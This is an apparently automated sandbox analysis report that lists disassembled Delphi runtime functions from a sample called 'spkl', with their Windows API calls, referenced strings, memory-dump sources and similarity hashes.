Instruction Fuzzy Hash: EAF03CB1B153008BDB149F799E49701BBE2BB89304F10813DE50DEB7D9E7B484458B04

Function 033ECE20 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000014,00001000,00000040,?,?,033F9D8B,?,?,?), ref: 033ECE38

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6d4394e0aad9420315a049e0586795c8a21231779f7b717fcabaaa721a877865
Instruction ID: 2c1d18e63a3d780328e0f4994b98d5355635b70ebe3085325185f63f49c6c373
Opcode Fuzzy Hash: 6d4394e0aad9420315a049e0586795c8a21231779f7b717fcabaaa721a877865
Instruction Fuzzy Hash: 24D012B13412206FE361DA999C81FD267D8DB4D7A1F104161F708EF294D1B06C004794

Function 033ECE40 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,033FD095,?,?,?,?,033FD183), ref: 033ECE52

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b1c23c90c299c48855b4648a21015416480863d594d54b42d235adc0b7bb249d
Instruction ID: f32b6b9f36b9a3d361f7c7ea9fe46b880dd829b622b562397826edcf8617dea2
Opcode Fuzzy Hash: b1c23c90c299c48855b4648a21015416480863d594d54b42d235adc0b7bb249d
Instruction Fuzzy Hash: BCC092703501009FD280DB88CC81F4133E8BB89B00F004090B500DF6A4CA70B8008F50

Function 033C34B8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f42f455088e56ad1a896118990c2e431f131e5fba061f315a71574c15a6ccc9
Instruction ID: 6c042242288d41e579f807867f056598b476ac1f59d001eaacbf06126e3a737c
Opcode Fuzzy Hash: 0f42f455088e56ad1a896118990c2e431f131e5fba061f315a71574c15a6ccc9
Instruction Fuzzy Hash: 1FF0E2363046825F9322DF5EAEC18A2F7EDF78D27434A803DE904DB510D63AEC90C660

Function 033CC310 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90acc13d234a7a5384fd85c3e897c9648a9a106d79a3539f1e80d40ea12913fd
Instruction ID: b836cd9f09c524ad576877a99ff033365a3fd3fb2ff6d6db1d2731211b06598e
Opcode Fuzzy Hash: 90acc13d234a7a5384fd85c3e897c9648a9a106d79a3539f1e80d40ea12913fd
Instruction Fuzzy Hash: 3BF0E57CB383C85E9216F7B86AD112D7A98E785610B81401DE4544E602DB3C8C12C76B

Function 033C7650 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c45e69e87e8c0d194b88b7eb729f52060ac0642bc4977fd573525d8fbca6fbc5
Instruction ID: f33533fc921d489d66c0b3f3aa179ebd290f0408741f260724ac69a6a0737fd2
Opcode Fuzzy Hash: c45e69e87e8c0d194b88b7eb729f52060ac0642bc4977fd573525d8fbca6fbc5
Instruction Fuzzy Hash: BDA022803223000B8200A0FE0CC200800CC220C020320B038300BC3203C82C8CA02200

Function 033C2598 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af03a52d7544bcf223d9b82426a1c159b88e49293072f22327d9847ce23fc333
Instruction ID: 3429ec387471031262e89b43b2e2e9301b179d90e3765e0654c660f1825a83d2
Opcode Fuzzy Hash: af03a52d7544bcf223d9b82426a1c159b88e49293072f22327d9847ce23fc333
Instruction Fuzzy Hash: 70B012342340C1C52E20DA304D964BFD5C470400407CE0C188486C5581EB15CA10EB71

Non-executed Functions

Function 0040A700 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 152stringfileCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,?,?,0040AA03,00000000,0040AAC4,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105), ref: 0040A764
lstrcpynW.KERNEL32(?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000,0040AAC4,?,80000001,Software\CodeGear\Locales,00000000,000F0019), ref: 0040A7D3
lstrcpynW.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000,0040AAC4,?,80000001), ref: 0040A81B
FindFirstFileW.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000,0040AAC4), ref: 0040A82E
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000), ref: 0040A844
lstrlenW.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03), ref: 0040A850
lstrcpynW.KERNEL32(0000005A,?,00000104), ref: 0040A88C
lstrlenW.KERNEL32(?,0000005A,?,00000104), ref: 0040A898
lstrcpynW.KERNEL32(?,0000005C,?,?,0000005A,?,00000104), ref: 0040A8BB

Strings

\, xrefs: 0040A862
GetLongPathNameW, xrefs: 0040A72B
kernel32.dll, xrefs: 0040A718

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$CloseFileFirst
String ID: GetLongPathNameW$\$kernel32.dll
API String ID: 426534248-3908791685
Opcode ID: fff4d093d4f64c9b8f0b0be4baa1e7ed36f96c168a4cb11f79d949cb4668dc06
Instruction ID: 08b204b8f9dcac002f665e27cc2fe3104c2839342c80bb952a0621304cfe6181
Opcode Fuzzy Hash: fff4d093d4f64c9b8f0b0be4baa1e7ed36f96c168a4cb11f79d949cb4668dc06
Instruction Fuzzy Hash: 4451A4B2D006189FCB10EAA4CD89BDE73BCAB04314F1489B6A144F72C1E778DE558B5A

Function 033F05CC Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 117COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(0000009C), ref: 033F0652

Part of subcall function 033F0A84: GetVersionExA.KERNEL32(?,?,00000000,?,033F0615), ref: 033F0ADB

GetVersionExA.KERNEL32(0000009C), ref: 033F0621

Strings

WINNT, xrefs: 033F06E3
System\CurrentControlSet\Control\ProductOptions, xrefs: 033F06D4
ProductType, xrefs: 033F06CF
LANMANNT, xrefs: 033F070D
SERVERNT, xrefs: 033F06F8

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID: Version
String ID: LANMANNT$ProductType$SERVERNT$System\CurrentControlSet\Control\ProductOptions$WINNT
API String ID: 1889659487-2290413088
Opcode ID: 446431d6ac85e2832ac8a3fbee754321949e06348be44d687a91fe5a9041ca4c
Instruction ID: 500842579d8c99d558fc3c8c7d58e66486cfa7efa1b1c3140d5c017428aef8fd
Opcode Fuzzy Hash: 446431d6ac85e2832ac8a3fbee754321949e06348be44d687a91fe5a9041ca4c
Instruction Fuzzy Hash: C131D538B452489DEF28E66C8EC07EAB7ADDB46305FC880E6E7419A653D73489858F11

Function 033CD280 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 92timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,00000000,033CD3DD), ref: 033CD358

Strings

\win386.swp, xrefs: 033CD310
\pagefile.sys, xrefs: 033CD2F0

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: LocalTime
String ID: \pagefile.sys$\win386.swp
API String ID: 481472006-523492860
Opcode ID: 8cdcdaf0ee410842b2376151c938066d6a6dd603cd04e52f0ee703f8468dc296
Instruction ID: 99f0d016df4f9e7e57f3244dd93374df3eda2522be312295f60f682ecac9e3e6
Opcode Fuzzy Hash: 8cdcdaf0ee410842b2376151c938066d6a6dd603cd04e52f0ee703f8468dc296
Instruction Fuzzy Hash: C3410D38D2429EAACB11EBA4D8C05EDF375EF09700F8085A9E81566514EB349E86CF54

Function 0040A298 Relevance: 4.6, APIs: 3, Instructions: 100COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,0040A3FF,?,?,?,00000000), ref: 0040A344
GetLocaleInfoW.KERNEL32(?,00000059,?,00000055,?,00000002,00000000,0040A3FF,?,?,?,00000000), ref: 0040A360
GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,0040A3FF,?,?,?,00000000), ref: 0040A371

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: 6491b48216555f70a1019a6133b4d0416006fefd981fb9c7db9ab8d98f753c1e
Instruction ID: 1e92f35711aceb852ec481b770b894b8151f2946676c8c0ea368725d2e7ef4d1
Opcode Fuzzy Hash: 6491b48216555f70a1019a6133b4d0416006fefd981fb9c7db9ab8d98f753c1e
Instruction Fuzzy Hash: 9531AC7090470CABDB20DF61CC81BEFB7B9EB44700F4140BAE948B32C0D6796E908E1A

Function 033EB8B0 Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

Genu, xrefs: 033EBA42
ntel, xrefs: 033EBA49
ineI, xrefs: 033EBA50

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID:
String ID: Genu$ineI$ntel
API String ID: 0-3389352399
Opcode ID: 14a87177e3acac91da4be8fa5e44951736ef3dc2eeded08482fb05f3e17207d9
Instruction ID: a721908353f047e213c525bfe05ff41c7710fd8d2346c88a90de79977763d8f4
Opcode Fuzzy Hash: 14a87177e3acac91da4be8fa5e44951736ef3dc2eeded08482fb05f3e17207d9
Instruction Fuzzy Hash: 40519274B082648BCF26CF6DC8D02EDFFB5AF45210F0841AAD845DF79ADA748906CB55

Function 033C76C4 Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,00000001,033CD32D,00000000,033CD3DD), ref: 033C76DF
GetLastError.KERNEL32(00000000,?,?,?,00000001,033CD32D,00000000,033CD3DD), ref: 033C7704

Part of subcall function 033C7660: FileTimeToLocalFileTime.KERNEL32(?), ref: 033C768D
Part of subcall function 033C7660: FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 033C769C

Part of subcall function 033C7714: FindClose.KERNEL32(?,?,033C7702,00000000,?,?,?,00000001,033CD32D,00000000,033CD3DD), ref: 033C7720

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: FileTime$Find$CloseDateErrorFirstLastLocal
String ID:
API String ID: 976985129-0
Opcode ID: c757f704e8e999f22d72134eb9cd40739b29ba6115c35a804121bd37f31d335b
Instruction ID: dea58022541b1f7275ef65c56d5499d63358a36abb1025117d6212b1be6f0c7c
Opcode Fuzzy Hash: c757f704e8e999f22d72134eb9cd40739b29ba6115c35a804121bd37f31d335b
Instruction Fuzzy Hash: F5E0657AF216A44B8725EE7C5CC086A91885A8467130D06BEFD15DF345DA39CC1247E0

Function 033C7898 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(00000000,?,?,?,?), ref: 033C78B9

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: e4ddb7180e04cb66fb0606ffb57a85d10895d678411ace08d43d243b4ca05203
Instruction ID: d62d7153f68e907535a4d04d5d3f6dc75f6b88e956ca3651f7dd2af9a0b83334
Opcode Fuzzy Hash: e4ddb7180e04cb66fb0606ffb57a85d10895d678411ace08d43d243b4ca05203
Instruction Fuzzy Hash: BA11D2B5E00209AFDB04CF99C881DAFF7F9FFCC210B54C559A505EB254E6319E018BA0

Function 033C9C9C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,033CB10E,00000000,033CB327,?,?,00000000,00000000), ref: 033C9CAF

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cb8b70dfe387a3e475d30475657f9d186179ff27a95f2876544dd5eff36dcb2b
Instruction ID: eb66c3a8ce12797191d5124e0408b4e348aecd4458f81e855697f250b51749f9
Opcode Fuzzy Hash: cb8b70dfe387a3e475d30475657f9d186179ff27a95f2876544dd5eff36dcb2b
Instruction Fuzzy Hash: 0BD05E6671D2903AE214A25A6DC4EBB6ADCCAC67A0F05807DB548CB301D7008C0693B1

Function 033C6312 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0467cbe841030891a43a69be7207957547fd97d28e940a85d5dd9c9d58c2acd
Instruction ID: c31a3696fccdb878cb2e3d8605babb2222c31842f7292b6d857b83947642512d
Opcode Fuzzy Hash: f0467cbe841030891a43a69be7207957547fd97d28e940a85d5dd9c9d58c2acd
Instruction Fuzzy Hash:

Function 033C6342 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 439903fc20bad52cb1f65af74f59cbcf295762ddafc75e6a767254943d801a6a
Instruction ID: ca4105c2a67e85366eeca102aabf90f80acc58b08ac5fc11316d0d8cedca89f8
Opcode Fuzzy Hash: 439903fc20bad52cb1f65af74f59cbcf295762ddafc75e6a767254943d801a6a
Instruction Fuzzy Hash:

Function 033C6252 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3759884cae44d48686202d608be495e3fa1fb5e2533c410d8e5ab9ab2bb71003
Instruction ID: f0026d8a820d795fbf17a325e3764e44a3eaf913e6ba78123f2fa696a07c44ec
Opcode Fuzzy Hash: 3759884cae44d48686202d608be495e3fa1fb5e2533c410d8e5ab9ab2bb71003
Instruction Fuzzy Hash:

Function 033C6292 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 534e0bbadddf7609c2bae43f2ed624ddd7315c282e7483d7dc59f7e099b76496
Instruction ID: 8a828b471ba7a7bf280e671548f656c31c2d0c975b441d9e6e0d255fed99e77f
Opcode Fuzzy Hash: 534e0bbadddf7609c2bae43f2ed624ddd7315c282e7483d7dc59f7e099b76496
Instruction Fuzzy Hash:

Function 033C60F2 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213c14f744efb8447fbc736466b17d31cb90a54998284b84dde8a03148341841
Instruction ID: ebad7d83a7f274b44ef20dfc0cf41388317423bdab17fe8a18191445cffef5a8
Opcode Fuzzy Hash: 213c14f744efb8447fbc736466b17d31cb90a54998284b84dde8a03148341841
Instruction Fuzzy Hash:

Function 033C5FFA Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd3b2d485176b16325e1e399d21c0f3a60c92e501d13d410d349f27ad16f7f7
Instruction ID: 5014410b5c3d562804af118c29ef49b6844cf0101ed6114094963e91adbd4d91
Opcode Fuzzy Hash: 1cd3b2d485176b16325e1e399d21c0f3a60c92e501d13d410d349f27ad16f7f7
Instruction Fuzzy Hash:

Function 033C5134 Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 033C51BB
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 033C51DF
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 033C51FB
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000), ref: 033C521C
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 033C5245
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 033C524F
GetStdHandle.KERNEL32(000000F5), ref: 033C526F
GetFileType.KERNEL32(?,000000F5), ref: 033C5286
CloseHandle.KERNEL32(?,?,000000F5), ref: 033C52A1
GetLastError.KERNEL32(000000F5), ref: 033C52BB

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 116ab1d4daa9d183354bf187dea00eb758a45728ebe78a3a3fd1f8d0208ddf0c
Instruction ID: f1db2697e8d67a36da94dd44e004abf447fa63ecad3a48772b1a95361446a231
Opcode Fuzzy Hash: 116ab1d4daa9d183354bf187dea00eb758a45728ebe78a3a3fd1f8d0208ddf0c
Instruction Fuzzy Hash: 1A41A2345347D09AFB30DE26CCC8B26B6E9AB02754F288A1DD196CA6D0DB79BC409790

Function 033CB05C Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,033CB327,?,?,00000000,00000000), ref: 033CB092

Strings

:mm, xrefs: 033CB2C5
:mm:ss, xrefs: 033CB2E2
mmmm d, yyyy, xrefs: 033CB18E
m/d/yy, xrefs: 033CB161
AMPM, xrefs: 033CB2A6
AMPM , xrefs: 033CB2B5

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: LocaleThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 635194068-2493093252
Opcode ID: 770cc58fb6dc169885aea87be280f7cda834a7ee722d7fe59bdd34b5e3d4bf7d
Instruction ID: 6bee72ab0d877484e1b7722a8436fbe8ac8b89b3f2281db38add87ba8c529bc9
Opcode Fuzzy Hash: 770cc58fb6dc169885aea87be280f7cda834a7ee722d7fe59bdd34b5e3d4bf7d
Instruction Fuzzy Hash: 8C614E38B203889BDB00FBA4C9C1B9EB7A9AB89300F51943DE515AF746DB38DD059754

Function 033C4B10 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 127stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 033C4B6B
lstrcpyn.KERNEL32(?,?,0000005C,kernel32.dll), ref: 033C4BCF
lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll), ref: 033C4C04
lstrlen.KERNEL32(?,0000005D,?), ref: 033C4C67
lstrcpy.KERNEL32(?,0000005C), ref: 033C4C85

Strings

kernel32.dll, xrefs: 033C4B25
GetLongPathNameA, xrefs: 033C4B35
\, xrefs: 033C4C42

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: lstrcpylstrcpyn$lstrlen
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 2167663922-1565342463
Opcode ID: d330bbb4b5b8ee032c826df3922b5b3589b309b31b9ef84ca53b42a3e1dd0be2
Instruction ID: 0555fe3252086da4787d390aeaba921f5795e4312c094417e98d820e1ca34945
Opcode Fuzzy Hash: d330bbb4b5b8ee032c826df3922b5b3589b309b31b9ef84ca53b42a3e1dd0be2
Instruction Fuzzy Hash: 23416F76E10398BFDB11DAAACDC8BDEB7ECEF08210F0840E99949DB211D7759E449B50

Function 033CB05A Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 196threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,033CB327,?,?,00000000,00000000), ref: 033CB092

Strings

:mm, xrefs: 033CB2C5
:mm:ss, xrefs: 033CB2E2
mmmm d, yyyy, xrefs: 033CB18E
m/d/yy, xrefs: 033CB161
AMPM, xrefs: 033CB2A6

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: LocaleThread
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 635194068-665933166
Opcode ID: 7b2820648948fe956dfffac039dbd1a5faf5a9dc2f2377277de98bb8731fab19
Instruction ID: 63eb05f33614ca184747bdb25d298ad45c01484c477af7b28acae62eef0f3bc8
Opcode Fuzzy Hash: 7b2820648948fe956dfffac039dbd1a5faf5a9dc2f2377277de98bb8731fab19
Instruction Fuzzy Hash: F2613E38B203889BDB00FBA4C9C1B9EB7A9AB89300F55943DE515EF346DB38DD059754

Function 004069F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?), ref: 00406A29
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000), ref: 00406A2F
GetStdHandle.KERNEL32(000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A44
WriteFile.KERNEL32(00000000,000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A4A

Strings

Runtime error at 00000000, xrefs: 00406A22, 00406A61

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileHandleWrite
String ID: Runtime error at 00000000
API String ID: 3320372497-1393363852
Opcode ID: 0c9eed1a39936270ba1f4b76f6c638a20d303835925233aef2ef59efb2a76de2
Instruction ID: e63e786300ecc46298da8aedc39f8a4fd1395a4b7eb443298d7c7201171cb949
Opcode Fuzzy Hash: 0c9eed1a39936270ba1f4b76f6c638a20d303835925233aef2ef59efb2a76de2
Instruction Fuzzy Hash: 97F02B61B8030078EA10BBA05E5EF67252C6B41F28F11413FF218B92D696FC85C4CA1E

Function 033C19C8 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(03408430), ref: 033C19F5
LocalFree.KERNEL32(03408488,03408430,00000000,033C1A9E), ref: 033C1A07
LocalFree.KERNEL32(03408448,00000000,00000000,00008000,03408488,00000000,033C1A9E), ref: 033C1A65
RtlLeaveCriticalSection.NTDLL(03408430), ref: 033C1A8E
RtlDeleteCriticalSection.NTDLL(03408430), ref: 033C1A98

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: CriticalSection$FreeLocal$DeleteEnterLeave
String ID:
API String ID: 3902855382-0
Opcode ID: 0e64d5db87a75e78ca6c8dfad3bff9b161aca76498621e377fd75972e40bc27c
Instruction ID: 644c4e6ac8ae735710ab98652a512c8afbbe21a0e6ecc74ac28049d56b783173
Opcode Fuzzy Hash: 0e64d5db87a75e78ca6c8dfad3bff9b161aca76498621e377fd75972e40bc27c
Instruction Fuzzy Hash: BA11907CF287849EE711FBA4ABC0B1AB7D8D745608F584469E004AF187E7709C80A769

Function 033C9F88 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,033CA14A,?,?,?,?,00000000,00000000,00000000,00000000), ref: 033C9FB6

Strings

ggg, xrefs: 033CA094
yyyy, xrefs: 033CA0A1
eeee, xrefs: 033CA0BA

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: LocaleThread
String ID: eeee$ggg$yyyy
API String ID: 635194068-1253427255
Opcode ID: 5d81cc58dbf5056f6b56a4038675f7abeeaff7223718f92beac1f7717034e115
Instruction ID: bab75d77b975602a01d259f7b253822cc9fd25657b36ec9ffed4164343f076fa
Opcode Fuzzy Hash: 5d81cc58dbf5056f6b56a4038675f7abeeaff7223718f92beac1f7717034e115
Instruction Fuzzy Hash: D541E32CB343CD5BC715F6698CD12BEB29EEB84150B14856DE592CB705E62EAC018761

Function 00406A7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406AB1
FreeLibrary.KERNEL32(00400000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B32
